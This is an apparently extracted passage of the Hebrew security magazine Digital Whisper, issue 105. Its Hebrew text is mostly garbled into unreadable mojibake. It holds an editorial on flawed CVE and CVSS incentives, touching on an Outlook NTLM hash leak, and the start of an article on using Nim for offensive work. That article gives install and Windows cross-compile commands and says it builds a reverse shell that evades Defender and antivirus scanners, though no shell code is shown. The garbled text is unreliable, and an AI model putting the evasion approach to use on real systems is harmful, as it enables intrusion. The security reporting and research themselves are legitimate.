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˶˟ˡ ˶ˣ˰ˢ˨ 
 

˫˧˩ˣ˶˟ ˫˧˞˟ˢ ˭ˣ˧˪ˠ˪ s-мсн ˪˷ DigitalWhisper! 

˫˧ˬ˧ ˶˲˯ˬ ˧ˮ˲˪ ˷ˬˬ ˫˯˶˲ ,Paul Asadoorian  ˟ˣ˟˥)˫ˣ˥˸˟ ˫˯˶ˣ˲ˬˣ ˵˧˸ˣˣ ˧ˡ (˟ ˢ˰ˡ ˶ˬ˞ˬ-

ingdDarkRea" :ˢˮ˧ˢ ˶ˬ˞ˬˢ ˸˶˸ˣ˩ ,Why CVEs Are an Incentives Problem ˣ˸˰ˡ ˸˞ ˠ˧˴ˬ ˞ˣˢ ˣ˟ˣ ,"

ˢ ˸˩˶˰ˬ) ˫˪ˣ˰˟ ˢ˴ˣ˲ˮˢ ˢ˥˦˟˞ˢ ˧˪˷˩ ˶ˣ˲˯ˬˣ ˠˣ˪˦˧˵ ˸˩˶˰ˬ ˪˰-CVE ˡˣ˵˧ˮˢˣ ˠˣ˶˧ˡˢ ˸˩˶˰ˬˣ (

˫˸ˣ˞˪ ˢ) ˫˧˪˷˩-CVSS.(  ˫˩˸˞ ˭˧˧ˮ˰ˬ ˫˞ ,˭˦˵˟˶˸ˣ˧ ˸˴˵ ˞ˣ˶˵˪  ˫˩˪ ˳˧˪ˬˬ ˧ˮ˞ ,˞˷ˣˮˢ ˪˰ ˵ˬˣ˰˪

" ˶ˬ˞ˬˢ ˸˞ ˞ˣ˶˵˪ ˫ˣ˷˧˶CVE- ˫˧- ˨˧˶ˡˬˢ  ˶˵ˣ˥˪˪˧˥˸ˬˢ˷ "˯˶˲ˢ ˭ˣ˧˪ˠ˟ ˭˧˵˦˧˞ ˪˧˧˞ ˫-105  ˪˷

˧ˤˠˬˢ˩ ˢ˪ˠ˸ˬ ˶˷˞˩ :˶˧˩ˬ ˞˪˷ ˧ˬ˪ ,˪ˣˡˠ˟ ˨˞ .˭ ˪˷˩ ˣ˸ˣ˞˷ ˫˧ˮ˧˧ˮˣ˰ˬˣ ˣˢ˷˪˩ ˶˴ˣˬ˟ ˧˸˷˪ˣ˥ ˪˷

 ˶ˠ˯˧˧-  ˫ˣ˷˧˶ ˪˷ ˨˧˪ˢ˟ ˫˧˪˧˥˸ˬˣ ˭˶˴˧˧˪ ˫˧ˮˣ˲CVE ˪˷ ˶˸˞˟ ˫˯˶˲˸ˬ ,ˢˤ ˨˧˪ˢ ˸˰˟ .MITRE  ˭ˣˠ˶˞ˢ)

˭˧˩ˢ˪ ˸ˣˮˣ˷ˢ ˸ˣ˶˟˥˪ ˶˷˲˞˪ ˢ˶˦ˬ˟ ˪˷˩ˢ ˣ˸ˣ˞ ˸ˣˡˣ˞ "˫˧˷˟˧" ˫˧˦˶˲ ˶ˣ˟˧˴˪ (˭˵˸ˢ ˸˞ ˶˴˧˷  ˪˩ ˸˞

.˶˶˥˷˸ ˢˮ˩ˣ˸ˢ ˸˧ˮ˶˴˧˷ ˭ˣ˩ˡ˰ˢ ˸˟ˣ˦˪ ˷˶ˡˮ˷ ˢˬ 

 ˭˰ˣ˦˷ ˢˬ ˫ˠ ˢˤˣ ,˟ˣ˦ ˞ˣˢ ˧˪˪˩ˢ ˭ˣ˧˰˶ˢPaul Asadoorian Σ˞ˮ˥ˮˢ ˭˵˸ˣ ,ˢˤˢ ˫ˣ˥˸˟ ˶ˡ˯ ˫˧˟˧˧˥ ˣ-CVE 

 ˨˞ .ˣ˸ˣ˞ ˵˲˯ˬ ˭˩˞ ˫˧ˡˡ˴ ˫ˠ ˣ˟ ˷˧ ,˸˞ˤ ˫˰˫˧˰˶ ˳˧˶ˬ˸ ˢˣˣˢˬ ˞ˣˢ˷ ˨˩˟ ˶˵˧˰˟ ,˧˪˧˪˷  ˫˧˶˵ˣ˥˪

.˫ˣ˥˸˟ 

˫˧˴˧˶ˬ˸ ˡ˴˧˩ ˪˰ ˫ˡ˞ ˧ˮ˟˩ ˣˮ˧˪˰ ˫˧˰˧˲˷ˬ  ˢ˞˶ˬ ˫˧˶˵˥ˬ ˫˸ˣ˞ˬ ˪˦ˣ˟ˬ ˞˪ ˵˪˥ .˫˧˟˶ ˫˧˶˵˥ˬ ˣ˷˰

˫˧˧˪˧˪˷ ˫˧˦˵˲˞ ˫˧˶˴ˣˮ ,˸ˣ˟˶ ˫˧˸˧˰˪˷ ˫˧˦˵˲˞ ,˫˧˴˧˶ˬ˸ ˫˸ˣ˞ˬ  ˢ˶˦ˬˢ ˸˞ ˫˧ˡˠˣˮ ˱˞ ˫˧ˬ˰˲˪˷

ˣ˶˴ˣˮ ˫˧˴˧˶ˬ˸ ˫˸ˣ˞ ˫ˬ˷˪˷ ˸˧˶ˣ˵ˬˢ !ˢ˪˧˥˸˩˪ˬ  ˭ˡ ˪˷ ˣ˧˶˲˯˟ ˣ˪˪ˢ ˫˧˶˵˥ˬˢ ˪˰ ˞ˣ˶˵˪ ˣ˪˩ˣ˸

") ˧˪˞˧˶˞ˢ˶˵ˬ˟ ˞˪ˣ ˧˪ˮˣ˧˴˶ ˞˪" ˣ˞ "˞˶ˣˮ ˞˪ ˪˟˞ ˧˪ˮˣ˧˴˶ ˞˪(" ˪˷ ˶ˬ˞ˬ ˣ˸ˣ˞˟ ˭˧˧˴˷ ˶˲˯˟ ˣ˞ ,Paul 

Asadoorian ˣ˸ˣ˞˷) ˡˣ˰ ˫˷˟ ,(˧˸˞˶˵ ˞˪ ϦFreakonomicsϦ Σ˦˧ˣ˪ ˭˟˧˦˯ ˭˪˩˪˩ˢ ˧"˰ ˟˸˩ˮ˷  ˧˞ˮˣ˸˧˰ˢˣ

˭˲˦˯ ˶ˮ˟ˡ, .˫ˢ˪˷ ˢ˧ˣ˲˴ ˧˸˪˟ˢ ˢ˰˲˷ˢˢˣ ˫˧˴˧˶ˬ˸ ˪˰ ˶˞˷ˢ ˭˧˟ ˶˟ˡˬˣ  ,˞ˬˠˣˡ˪ ˫˧˪˟˵ˬ ˫˧˶˴˪ˬ ˫˞

˳˧˶ˬ˸˩ ˯ˣˮˣ˟ ˪˷ ˢ˶˧˩ˬ ˶ˣ˟˰ ˢˡ˰˯ˬˢ ˪˰˟ˬ  ˸˧ˮˣˮ˧˟ ˢˮˬ) ˞˪˷ ˶˩ˬˢ˪ ˢ˥˧˪˴ˬ˸˧˰˟˦(  ˶˩ˬ˸˷ ˧ˡ˩

˶˸ˣ˧ ˢ˧˪˰ ˫˧˴˧˪ˬˬ ,˫˶ˣ˸˟ ,˫ˢˣ , ˣ˦˧˪˥˧ˣ ˨˩ˬ ˫˧˴ˣ˶ˬ ˣ˧ˢ˧ ˞˪ ˫˧ˡ˰ˣ˯ˢ˷ ˧ˣ˩˧˯ ˫˧˧˵ ,˫˧ˮˣ˷ˢ ˫˧ˡ˰ˣ˯˪

.ˢˡ˰˯ˬˢ ˢ˸ˣ˞˪ ˶ˣˤ˥˪ ˞˪˷ 

˫˞˷ ˥ˣ˦˟ ˧ˮ˞ ˢ˧˧˷˰˸ˢˬ ˫˧ˡ˟ˣ˰ ˪˷ ˥"ˣ˵ ˪˰ ˶ˣ˟˰˪ ˫˩˪ ˞˴˧ ˭˧˞ˡ˵ˮ˧˪˟ ˦˦˥˪ ˫˸˯ ˣ˞ ˦˰ˬ ˞˪˟ ,

 ˸ˬ˧˷˶ ˸˞ ˣ˞˶˸ ˫ˢˬ-sCVE-˫˧ ˫ˬ˷ ˪˰ ˫˧ˬˣ˷˶˷ ˟ ˫ˮˣ˟˷˥˪ ˶ˣ˷˧˵ ˣ˞-HackerOne ˣ˧ˬˣˡˣ ˶˟ˡˢ .

˪˷ ˠˣ˯ ˢˣˣˢˬ " ˵˧˸"˸ˣˡˣ˟˰ ˫˧˧˪˧˪˷ ˫˧˶˵ˬ ˢ˟˶ˢ˟ ˣˬ˩ˣ .˶˵ˣ˥ˢ ˣ˸ˣ˞ ˪˷ ,-  .˸ˣ˩˧˞ˢ ˪˰ ˸˶˟ˣˠ ˸ˣˬ˩ˢ 

 ˸ˣ˞˴ˣ˸˟ ˣ˰˧˲ˣ˧ ˶˸˞ˢ˷ ˣˮ˧˴˶ ,˭˧ˤˠˬˢ ˫˰ ˣˮ˪˥˸ˢ ˶˧ˮˣ ˧ˮ˞ ˶˷˞˩˷ ,˧ˬ˴˰ ˪˰ ˡ˧˰ˢ˪ ˪ˣ˩˧ ˱˞ ˧ˮ˞

˟ ˸ˣˮˣ˷˞˶ˢ ˢ˶ˣ˴˟ ˶˴ˣ˧ˬ ˫ˢ˪˷ ˭˩ˣ˸ˢ˷ ˫˧˶˸˞ ˡˣ˞ˬ ˢ˟˶ˢ ˫ˮ˷˧˷ ˟˪ ˧˸ˬ˷ ,ˣˤˢ ˢ˲ˣ˵˸˟ .˪ˠˣˠ

 ˫ˠ ˨˩ˣ ,(ˣ˧ˬˣˡˣ ˪ˠˣˠ ˪˷ ˰ˣˮˬˢ ˪ˣˬ ˪˞ ˸ˣ˧˟˧˦˵˶˦˞ ˶ˣ˴˧˪ ˧ˡ˩ ˢ˞˶ˮˢ ˪˩˩) ˫˧˶˥˞ ˫˧˶˸˞ˬ ˸˧˦ˬˣ˦ˣ˞

 ˢ˟˶ˢ˟ ˫˧˪˷˩ ˧˸˷˲˧˥ ,˭˧ˤˠˬˢ ˶˸˞ ˸˞ ˫ˡ˵˪ˣ ˢˤ ˭ˣˮˠˮˬ ˪˴ˮ˪ ˧ˡ˩ .˰ˡ˧ˬ ˸˥˦˟˞ ˞˷ˣˮ˟ ˸ˣ˷ˡ˥ ˧˶˸˞

https://www.darkreading.com/vulnerabilities-threats/why-cves-are-an-incentives-problem
https://www.digitalwhisper.co.il/files/Zines/0x69/DW105-3-CVE.pdf
https://rebooks.org.il/book?8syLvuPyG68UeoAc&he_IL
https://rebooks.org.il/book?Z3iZvtZiF8zk54B2&he_IL
https://freakonomics.com/books/#freakonomics
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 ˡˣ˞ˬ ˣ˞ ˫˧ˠˣ˪˟ ˸ˣ˩˶˰ˬ ˶˵˧˰˟) ˸ˣ˩˶˰ˬCMS- ˸˧˪˞˧˴ˮ˦ˣ˲ ˸˩˶˰ˬ ˭ˣ˥˟˪ ˧ˡ˩ ˧˸ˡ˶ˣˢ ˢ˩ ˭˧˟˷ ˫˧

 .˭˧ˤˠˬ˪ ˶ˣ˷˧˵ ˧˸ˬ˷ ,˸ˣ˷˪ˣ˥ˢ ˭˸ˣ˞ ˸ˣˡˣ˞ ˪˰ ˧˸ˬ˯˶˲˷ ˫˰˲ ˪˩˟ˣ ,(˶˸˞˪ ˶˥˟ˮ˷ ˸˩˶˰ˬˢ ˢ˧ˢ˸˷

ˢ ˭˩ˬ ˶˥˞˪ ˦˰ˬˣ ,˫ˣ˥˸˟ ˸ˣ˷ˡ˥ ˧˶˸˞ ˡˣ˞ˬ ˢ˟˶ˢ˟ ˰˧˲ˣˢ ˢˤˢ ˶ˣ˷˧˵ˢˣ ˶˴˵ ˭ˬˤ ˨ˣ˸-"Page Rank "

ˢ ˪˷ˢ ˸ˣ˩˧˞ ˢˤ ˧˸ˣ˞ ˭˧˧ˮ˰˷ ˢˬ˷ ˫˩˪ ˡ˧ˠˢ˪ .˪ˠˣˠ˟ ˫˧˞˪˲ ˢ˪˰ ˭˧ˤˠˬˢ ˪˷ ˷ˡ˥ˢ ˶˸˞-CVE- ˞˪ ?˫˧

 ...˷ˬˬ 

Paul Asadoorian  ˦˰ˬ˩ ˣˬ˷˶ˮ ,ˢ˶˟˰˷ ˢˮ˷˷ ˢ˞˶ˬˣ ,ˢ˵˧˦˯˧˦˦˯ ˠ˧˴ˬнфΣллл  ˢ˥˦˟˞ ˧˪˷˩

ˢ ˸˩˶˰ˬ˟-CVE ˦˰ˬ˩ ˢˤ˷ ,80 ˪˰ ˫˧˥ˣˣ˧ˡ  ˭ˣˠ˶˞ ˫ˣ˷ ˭˧˞ .ˢˮ˷ˢ ˢ˸ˣ˞ ˪˷ ˡˡˣ˟ ˫ˣ˧˟ ˫˧˪˷˩ ˫˪ˣ˰˟

ˢ ˸˩˶˰ˬ˟ ˫˧˧˵˷ ˱˯ˣˮ ˶˰˲ .ˡ˵ˬ˸ˬ ˞ˣˢ ˢˬ˟ ˦˧˪˥ˢ˪ ˣ˧˪˰ ˭˩˪ˣ ,˫˧˪˷˩ ˢ˟˶ˢ ˨˩ ˪˩˟ ˪˲˦˪ ˪ˠˣ˯ˬˢ-

CVE ˢ˷ ˞ˣˢ-CVE  ˭˧˟ˢ˪ ˡˣ˞ˬ ˢ˷˵ ˫˧ˮˣˠ˶˞˪ˣ ,˶˷˵ˢ ˞˪˪ ˰˧ˠˬ ˣ˸ˣ˞ ˪˷ ˪ˣ˲˧˦ˢ ˸ˣ˲˧˥ˡˢ ˢˬCVE. 

ˢˬ ˵˪˥-CVE-ˢ ˧˷ˮ˞ ˪˰ˣ ˭ˣˠ˶˞ˢ ˸˷˶ ˪˰ ˫ˣ˧˞ ˫˧ˣˣˢˬ ˦˪˥ˢ˟ ˫˧-IT ˰ˠ˶ˢ ˢˤ˟ ˫ˢ˟ ˪˲˦˪ ˸ˣ˞ˬˠˣˡ ,

ˢ ˸ˣ˷˪ˣ˥ ˪˪˷ ˫ˢ ˨˩˪-SSLVPN ˢ ˭ˣ˶˸˲˟ ˷ˬ˸˷ˬ ˫˩˪˷ ˭ˣˠ˶˞ˢ ˫˞ ,ˢˮˣ˶˥˞˪ ˣˮ˸ˣ˞ ˸ˣˡ˵ˣ˲˷-

SSLVPN  ˪˷Fortinet ,Ivnati ,PaloAlto  ˣ˞CheckPoint )˞˧ˢ ˢˮˣ˶˥˞ˢ ˬˬ ˸˥˞ˢ˷ˡ˥ ˷ ˶˧˟˯ ˤ˞  ,(

ˢ ˧˷ˮ˞˷ ˥˧ˮˢ˪ ˡˣ˞ˬ-IT ˩˪˷) ˵˪˥ ˨˞ .˶˸ˣ˧ ˫˧˦˵˷ ˫˧ˬ˧ ˣ˞˶ ˫˪ˣˡˠ ˵˪˥ˣˣ ˫˧˥ˣˣ˧ˡ ˫˸ˣ˞ˬ (-CVE- ˫ˢ ˫˧

ˢ ˧˴˧˶ˬ˸˷ ˸˧˸˧˧˰˟ ˢ˰˲˷ˢ ˢ˸ˣ˞ ˸ˣ˟˵˰˟ ˶˴ˣˮ˷ "˷˰˶" ˸ˬ˞˟-CVE  .ˣ˶˴˧ 

˪ ,˶ˣˬ˞˩-CVE  ˫˷˟ ,ˠˣ˶˧ˡ ˸˩˶˰ˬ ˸ˬ˧˧˵CVSS ˣ˸ˣ˞˪ ˫˧˧ˣ˯ˬ ˰˟˴ ˸˸˪ ˶ˣˬ˞˷ ,CVE  .˭ˣ˩˧˯ ˪˷ ˶˷˵ˢ˟

ˢ ˫˞ˢ-CVE  ?˸˧ˤ˧˲ ˢ˷˧ˠ ˨˧˶˴˷ ˣ˞ ˦ˮ˶˦ˮ˧˞ˢ ˨˶ˡ ˣ˸ˣ˞ ˪˴ˮ˪ ˭˸˧ˮ ˫˞ˢ ?˪ˣ˴˧ˮ˪ ˪˵ ˸˷˶ˡˮ ˫˞ˢ

 ?˷ˬ˸˷ˬˢ ˫˰ ˢ˧˴˵˶˦ˮ˧˞ ˸ˣˣˢˬ ˭ˢ˧˪˞ ˸ˣ˟ˣ˷˸ˢ˷ ˸ˣ˪˞˷ ˶˲˯ˬ ˡˣ˰ˣ ?˭ˣˠ˶˞˟ ˰ˠˣ˲ ˣ˪˷ ˪ˣ˴˧ˮ ˢˬ˩

ˢ ˭ˣ˟˷˥ˬ˟ ˧˪˪˩ˢ ˭ˣ˧˴ˢ ˟ˣ˷˧˥˪ ˯˧˯˟ˢ ˸˞-CVSS . 

˟ˣ) ˡ˧ˬ˸ ˞˪ ˭ˣ˧˴ˢ ,˸˞ˤ ˫˰ ˸˥˞ ˸˞ ˞ˬˠˣˡ˪ ˣ˥˵ .˵ˤˮˢ ˪˞˧˴ˮ˦ˣ˲ ˸˞ ˱˵˷ˬ ˸ˬ˞˟ ˞˪ (˫˧˶˵ˬ ˢ˟˶ˢ

˟ ˣˬ˯˶ˣ˲˷ ˸ˣˮˣ˶˥˞ˢ ˸ˣ˷˪ˣ˥ˢ-Outlook ˪˷ˬ˪ ,35636-2023-CVE˷ ˢ˷˪ˣ˥ ,ˢ ˸˞ ˟ˣˮˠ˪ ˸˶˷˲˞ˬ-

NTLMv2 Hash  ˷ˬ˸˷ˬ ˪˷Outlook ˢˬ .˭ˬˣ˧˟ ˧ˮˣˡˤ ˭ˣˬ˧ˤ ˸˥˧˪˷ ˧"˰-NTLMv2 Hash ˭˸ˮ˧ˢ˟ ,˶˷˲˞ ,

ˢ˶ˬˣ˥  ˰ˬ˷ˮ .ˣ˪˷ ˸˧ˮˣˠ˶˞ˢ ˪˧˧ˬ˧˞ˢ ˸˟˧˸˪ ˢ˷˧ˠ ˠ˧˷ˢ˪ ˨˩˟ˣ ˷ˬ˸˷ˬˢ ˸ˬ˯˧˯ ˸˞ ˠ˧˷ˢ˪ ,ˢ˶˧˟˯

 ?˭˩ˣ˯ˬ˟ ˢ˷˪ˣ˥ˢ ˢ˸ˣ˞ ˪˷ ˭ˣ˧˴ˢ-CVSS  ˞ˣˢ6.5  ˨˞ ,("˧ˮˣˮ˧˟")˸˧˸ˡ˟ˣ˰,  ˫˧˯ˣ˶ˢ ˸ˣ˶˦ˬ ˦˰ˬ ˞˪ ˣ˵˶˧˲

ˢ˲ˣ˶˧˞˟  ˢ˷˪ˣ˥ ˸˶ˤ˰˟ˢˢˤ ˸˧˯˥˧ )23397-2023-CVE.(  

 ˞˧ˢ ˧˸˰ˡ˧ˮ˵˸˷ s-CVE s-CVSS ˭˩˞ ˫˧˟ˣ˷˥˪˷ ˣ˸˰ˡ ˫˰ ˫˧˩˯ˬ ˦˪˥ˢ˟ ˧ˮ˞ ˪˟˞ , Paul Asadoorian Φ

˸ˣ˰ˬ˷ˬ ˧ˣˮ˧˷ ˷˶ˡˮ.˸˧˥˩ˣˮˢ ˥ˣˣ˧ˡˢˣ ˠˣ˧˸ˢ ˸˦˧˷ ˪˩˟ˣ ˢˤˢ ˭˵˸˟ ˧ 

 ,˭˟ˣˬ˩ˣˢˡˣ˸  ˸˧˵ˮ˰ ˪˩˪˫˧˟˸ˣ˩ˢ .ˢˤ ˭ˣ˧˪ˠ˪ ˫˧˶ˬ˞ˬ ˟ˣ˸˩˪ ˫ˮˬˤˬ ˣˮ˲˸ˢ˷ ˡˣ˸˪ ˢ˟˶ ˢˠ˶˟ˡ˪ˣˠ ˤ˶˞, 

ˡˣ˸˪ ˢ˟˶ ˢ˸˪˧ˠ ˧˷ ,ˡˣ˸˪ ˢ˟˶ ˢ˭ˣ˪˥˩ ˶ˬˣ˰ ,ˡˣ˸˪ ˢ˟˶ ˢ˶ˤ˰˧ˬ˰ ˧˞˸˟˷ ˶ˬ˸˧˞ ,˪ ˢ˟˶ ˢˡˣ˸ ˪˞˧ˮˡ

˵˦˯ˣ˷ ,ˡˣ˸˪ ˢ˟˶ ˢ˧˵˯˵ ˧˪˞ xˡˣ˸˪ ˢ˟˶ ˢˤ˧ˣ˶ ˧˸˧˞! 

ˢ˞˧˶˵ ˢˬ˧˰ˮ, 

   ˵˧˲˞ ˪˞˧˦˯˵  

https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/#/
https://nvd.nist.gov/vuln/detail/CVE-2023-35636
https://thehackernews.com/2024/05/microsoft-outlook-flaw-exploited-by.html
https://thehackernews.com/2024/05/microsoft-outlook-flaw-exploited-by.html
https://nvd.nist.gov/vuln/detail/CVE-2023-23397
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Unleashing the Power of Nim  

Exploring Offensive Tactics in Cybersecurity 

ˠ˶˟ˡ˪ˣˠ ˤ˶˞ ˸˞ˬ 

ˢˬˡ˵ˢ 

 ˸ˮ˷˟нлнм ˢ˲˧˵˸ˢ ˸˴ˣ˟˵ ,TA800  ˨ˬ˯ˬ ˸ˡ˶ˣˢ˪ ˶ˣ˷˧˵ ˫˰ ˠˮ˧˷˧˲ ˢ˥˪˷PDF  ˶˷˞˩ .˱˧ˣˤˬ

 ˭ˣ˵˧˧˞ ˪˰˟ ˶ˣˣ˪˞ˬ ˳˟ˣ˵ ˣ˟˷˥ˬ˪ ˡ˶ˣˢ ,˶ˣ˷˧˵ˢ ˪˰ ˳˥˪ ˷ˬ˸˷ˬˢPDF  ,ˢ˷˰ˬ˪ .˱˧ˣˤˬˢ˵ˤˣˮˢ ˧s˸˧ ˢ

loader  ˸˲˷˟ ˟˸˩ˮ˷Nim ˶˷˲˞ ˶˷˞ ,˱˵˸ˮˢ ˸ˮˣ˩ˬ˪ ˢ˷˧ˠ ˫˧˲˵ˣ˸˪. 

 

ˢˬ ˢˤ NimΚ 

Nim ˞˧ˢ ˸˲˷ ˸ˣˮ˩˸ ˸˥ˮˣˬ ˫˧ˬ˴˰ ˶˷˞ ˢˬ˯˶ˣ˲ ˟-нллу ˢˮˮ˩ˣ˸ˣ ˟˪˷˪ ˸˞ ˫˧˰ˣ˴˧˟ˢ ˸ˣ˶˧ˢˬˢˣ ˪˷ 

˸ˣ˲˷ ˢˬ˶˟ ˢ˩ˣˬˮ ύˣˬ˩ C ό˯˵˦ˮ˧˯ˣ ˪˷ ˢ˲˷ ˢˬ˶˟ ˢˢˣ˟ˠ ύˣˬ˩ ˭ˣ˸˧˧˲Φό 

 

Nim ˶˟˧˧˯ˣ ˧˲˵˸ˢ 

˟ˣ˶˪ Σ˸ˣ˲˷ ˸ˣˮ˩˸ˢ ˸ˣ˴ˣ˲ˮˢ ˸˟˧˸˩˪ ˸ˣ˧ˮˣˡˤ ˸ˣˮ˩ˣ˸ ˭s C xπҌҌC Φ˫˪ˣ˞ ˫˧˲˵ˣ˸ ˫˧˷ˬ˸˷ˬ ˸ˣ˲˷˟ ˸ˣˮ˩˸ 

˸ˣ˷ˡ˥ ˱ˣ˵˰˪ ˧ˮˣˮˠˮˬ ˢ˥˦˟˞ ΦNim ˞˧ˢ ˸˲˷ ˪ˣ˲ˬ˧˵ ˪˵ˣ ˷ˬ˸˷ˢ˪ ˢ˟ ˭s ˡ˴ˬ ˸ˢ˫˧˲˵ˣ ˭ˢˣ ˡ˴ˬ ˧˟˸ˣ˩ 

˸ˢ ˸ˣˮ˩ˣˢ˧ˮˣˡˤˣ˸ Φ˪˰ ˧ˡ˧ ˸˟˧˸˩ ˸ˣ˧ˮˣˡˤ ˸ˣˮ˩ˣ˸ ˸ˣ˲˷˟ ˸ˣˮ˩˸ ˸ˣ˷ˡ˥ ˣˬ˩ Nim Σ˫˧˲˵ˣ˸ ˫˧˪ˣ˩˧ ˸ˣ˷˵ˢ˪ 

˪˰ ˧ˮˣˮˠˮˬ Anti-Malware ˸ˣˢˤ˪ ˫˧ˡˣ˪˧˧˲ ˶˥˞ˬ ˭˧˞ˣ ˫ˢ˪ ˸ˣ˩˶˰ˬ ˧ˣˢ˧ˤ ˸ˣˮ˩ˡˣ˰ˬ ˸ˣ˲˷˪ ˸ˣ˷ˡ˥Φ 

ˢ˲˷ˢ ˢ˶˟˴ ˸ˣ˧˶˪ˣ˲ˣ˲ ˭˧˧ˮ˰ˣ ˟˶˵˟ ˫˧˲˵ˣ˸ ˭ˣˣˠˬˬ ˸ˣ˟˧˯Υ 

¶ ˯˵˦ˮ˧˯ˢ ˞ˣˢ ˦ˣ˷˲Φ 

¶ ˢ˧˴˪˧˲ˬˣ˵ ˪πWindows xπLinuxΦ 

¶ ˷ˣˬ˧˷ ˟πFFI  ˪˷ ˶ˣ˴˧˵)(Foreign Function Interface ˶˷˲˞ˬ ˢˮ˩ˣ˸˪ ˞ˣ˶˵˪ ˸ˣ˧˴˵ˮˣ˲ x˞ ˷ˬ˸˷ˢ˪ 

˫˧ˮ˸˷ˬ˟ ˣ˟˸˩ˮ˷ ˸ˣ˲˷˟ ˸ˣˮ˩˸ ˸ˣˮˣ˷ Φ˧ˢˣˤ ˨˶ˡ ˶˷˲˞˪ ˡˣ˵˪ ˶˷˵˸˪ ˫˰ ˡˣ˵ ˟˸˩ˮ˷ ˢ˲˷˟ ˢ˶ˤ x˞ 

˦ˬ˶ˣ˲˟ ˢˮˣ˷Φ 

π˪Nim ˷˧ ˸ˣˬ˧˞˸ ˢ˟ˣ˦ ˪πAPI ˪˷ Windows ˫˞ˣ ˫˧˴ˣ˶ ˱˧˯ˣˢ˪ ˡˣ˰ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ Σ˭˸˧ˮ ˷ˬ˸˷ˢ˪ 

ˢ˧˧˶˲˯˟ winim Φ 

˶˷˞˩ ˫˧˷ˬ˸˷ˬ ˟πNim ˫˰ ˸˧˧˶˲˯ Winim Σ˫˧˷ˬ˸˷ˬ ˟πFFI ˧ˡ˩ ˞ˣ˶˵˪ ˸ˣ˧˴˵ˮˣ˲˪ ˵˷ˬˬˬ sπAPI 

˪˷ Windows (Win32 API)Φ 

¶ ˶˷˞˩ Nim ˪˲ˬ˵˸ˬ ˪πWindows Σ˳˟ˣ˵ˢ ˧˶˞ˮ˧˟ˢ ˞ˣˢ ˸˧˸ˣ˰ˬ˷ˬ ˭˦˵ ˯˥˧˟ ˸ˣ˲˷˪ ˸ˣ˶˥˞ ˣˬ˩ Go 

πxRustΥ 

https://github.com/khchen/winim
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¶ ˶˪˧˧˲ˬˣ˵ˢ ˫ˠ˶˸ˬ ˸˞ ˡˣ˵ˢ ˪˷ Nim ˪πblob ˪ˣˡˠ ˪˷ C ˸˶˧˶˟˟ ˪ˡ˥ˬˢ ˤ˞ˣ ˰˴˟ˬ ˢ˧˴˪˧˲ˬˣ˵ ˸˶ˤ˰˟ 

GCC ˪˷ˬ˪ ˳˟ˣ˵˪ ˧˶˞ˮ˧˟ Φ˸ˣ˧ˣ˶˷˲˞ ˸ˣ˲˯ˣˮ ˭s ˢ˧˴˪˧˲ˬˣ˵ ˪-C++ ΣJavascript xπObective-C Σ˞ˬˠˣˡ˪Υ 

 

˸ˮ˧˥˟ˬ Opsec Σˢˡ˟ˣ˰ˢ ˷Nim- ˪˲ˬ˵˸ˬ ˸ˣ˶˧˷˧ ˪-C/C++ Σˢ˷˵ˬ ˶˸ˣ˧ ˥˸ˮ˪ ˸ˣ˧ˮˣˡˤ ˸ˣˮ˩ˣ˸ ˶˷˞ˬ 

˸ˣ˧ˮˣˡˤ ˸ˣˮ˩ˣ˸ ˟-C# ˪˷ˬ˪ Φˢˡ˧ˬ˟ ˱˵ˣ˸ˣ ˶˧˞˷ˬ ˳˟ˣ˵ C# Σ˭˸˧ˮ ˶˸ˣ˧ ˸ˣ˪˵˟ ˸ˣ˷˰˪ ˧lπˢ˧˴˪˧˲ˬˣ˵ 

˸˶ˤ˰˟ ˫˧˪˩ ˣˬ˩ ILSpy ˥ˣ˸˧ˮ˪ ˶ˣˣ˪˞ˬˢ Φ˸ˣ˧ˮˣˡˤ ˸ˣˮ˩ˣ˸ ˟-C/C++ ˶˸ˣ˧ ˫˧˷˵ ˥ˣ˸˧ˮ˪Φ 

˪˰ ˸ˮˬ ˪˲ˬ˵˪ ˸˞ Nim ˸ˣ˶˧˷˧ ˡˣ˵˪ ˢˮˣ˩ˬ ˞˪˪ ˨˶ˣ˴ ˠˣ˴˧˧˟ ˫˧˧ˮ˧˟ ˣˬ˩ C Σ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˦˵˧ˣ˶˲˟ 

nlvm ˶˷˞ ˟˪˷ˬ ˸˞ ˶˪˧˧˲ˬˣ˵ˢ ˪˷ Nim ˟-Front End ˫˰ LLVM ˟-Back EndΦ 

  

https://github.com/icsharpcode/ILSpy
https://github.com/arnetheduck/nlvm
https://github.com/arnetheduck/nlvm
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˵˥˷ˬ ˫˧ˡ˵ˬ 

˭˸˧ˮ ˭˧˵˸ˢ˪ ˸˞ Nim ˸ˣ˪˵˟ ˯˵ˣˮ˧˪˟ Debian ˸˶ˤ˰˟ ˢˡˣ˵˲ˢΥ 

sudo apt install nim  

˶ˣ˟˰ ArchΥ 

sudo pacman - S nim 

˯˵ˣˮ˧˪˟ ˭˸˧ˮ ˪˲ˬ˵˪ ˸˞ ˡˣ˵ˢ ˳˟ˣ˵˪ PE ˪˷ Windows ˸˶ˤ˰˟ ˢˡˣ˵˲ˢΥ 

nim c - d:mingw Ƶcpu:amd64 myProgram.nim  

ˢ˲˷˪ ˷˧ ˢ˧˴˦ˮˬˣ˵ˣˡ ˢ˟ˣ˦ Σˢ˸˶ˤ˰˟ ˭˸˧ˮ ˟ˣ˸˩˪ ˡˣ˵ ˦ˣ˷˲ ˪πreverse shellΥ 

 

˭˟ˣˬ˩ ˶˥˞˪ ˪ˣ˲ˬ˧˵ ˳˟ˣ˵ˢ ˢ˴˶ˢˣ ˣ˪˷ sπDefender ˫˯ˣ˥ ˸˞ ˳˟ˣ˵ˢ Φˢ˶˸˧ ˸˞ˤˬ Σ˶˷˞˩ ˫˧˵ˡˣ˟ ˸˞ 

˳˟ˣ˵ˢ ˟-VirusTotal Σ˶˲˯ˬ ˫˧˰ˣˮˬ ˞˪ ˭˦˵ ˢˢˤˬ ˣ˸ˣ˞ ˧ˮˣˡˤ˩Υ 

 

  

https://nim-lang.org/documentation.html
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ˢ˯ˮˮ ˰˴˟˪ ˢ˧˴˵˯ˣ˲˟ˣ˞ ˦˲˧˶˵˯˪ ˸ˣ˰˴ˬ˞˟ ˸ˣˬ˷ ˫˧ˮ˸˷ˬ ˫˧˶˴ˣ˵ˬ ˸ˣ˵˧ˮ˩˦ˣ ˢ˧˴˪ˣ˲˧ˮˬ ˸ˣ˧˯˧˯˟ ˪˷ 

